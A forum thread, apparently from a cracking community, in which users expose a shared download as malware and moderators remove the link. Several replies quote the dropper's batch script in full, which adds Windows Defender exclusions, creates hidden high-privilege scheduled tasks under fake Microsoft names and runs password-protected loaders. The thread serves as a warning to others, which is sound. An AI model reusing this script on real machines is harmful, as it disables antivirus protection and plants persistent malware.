[Edorad8]

Link removed- Staff.

PWD: G-KLIT

[miso]

please send a virustotal scan

[Darkbyte]

Clear virus it has a .bat file:

@echo off
@setlocal enableextensions
@cd /d "%~dp0"
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users"
powershell Add-MpPreference -ExclusionPath "C:\Users" -force
schtasks /create /sc minute /mo 1 /tn "Microsoft\SubDir\SystemFile" /tr "%appdata%\SubDirr\SystemFile.exe" /RL HIGHEST /f
schtasks /create /sc minute /mo 1 /tn "Microsoft\SubDir\SysFile" /tr "%appdata%\SubDirr\Sys32.exe" /RL HIGHEST /f
mkdir %appdata%\SubDirr
attrib +h +s %appdata%\SubDirr
loader.exe -pP@$$W@RD@@
loader1.exe -pP@$$W@RD@@
exit


this is extacting .exe files using the password:
P@$$W@RD@@



Shame you will be banned soon , you could of used this forum to not be such a obvious noob.

[fsociety]

Clear virus it has a .bat file:

@echo off
@setlocal enableextensions
@cd /d "%~dp0"
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users"
powershell Add-MpPreference -ExclusionPath "C:\Users" -force
schtasks /create /sc minute /mo 1 /tn "Microsoft\SubDir\SystemFile" /tr "%appdata%\SubDirr\SystemFile.exe" /RL HIGHEST /f
schtasks /create /sc minute /mo 1 /tn "Microsoft\SubDir\SysFile" /tr "%appdata%\SubDirr\Sys32.exe" /RL HIGHEST /f
mkdir %appdata%\SubDirr
attrib +h +s %appdata%\SubDirr
loader.exe -pP@$$W@RD@@
loader1.exe -pP@$$W@RD@@
exit


this is extacting .exe files using the password:
P@$$W@RD@@



Shame you will be banned soon , you could of used this forum to not be such a obvious noob.

donot fall for any paypal checker all have hidden virus ,rat behind it.

[mothered]

@Darkbyte, thanks for the In depth analysis of the file- clearly It's Infected.

For the safety of our community, I've removed the link.
Action has been taken accordingly against the OP.

[zazamohamad]

@Darkbyte, thanks for the In depth analysis of the file- clearly It's Infected.

For the safety of our community, I've removed the link.
Action has been taken accordingly against the OP.

[miso]

Clear virus it has a .bat file:

@echo off
@setlocal enableextensions
@cd /d "%~dp0"
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users"
powershell Add-MpPreference -ExclusionPath "C:\Users" -force
schtasks /create /sc minute /mo 1 /tn "Microsoft\SubDir\SystemFile" /tr "%appdata%\SubDirr\SystemFile.exe" /RL HIGHEST /f
schtasks /create /sc minute /mo 1 /tn "Microsoft\SubDir\SysFile" /tr "%appdata%\SubDirr\Sys32.exe" /RL HIGHEST /f
mkdir %appdata%\SubDirr
attrib +h +s %appdata%\SubDirr
loader.exe -pP@$$W@RD@@
loader1.exe -pP@$$W@RD@@
exit


this is extacting .exe files using the password:
P@$$W@RD@@



Shame you will be banned soon , you could of used this forum to not be such a obvious noob.

What tools did you use, this is really impresive

[Raptorclub]

i like coding & cracking apps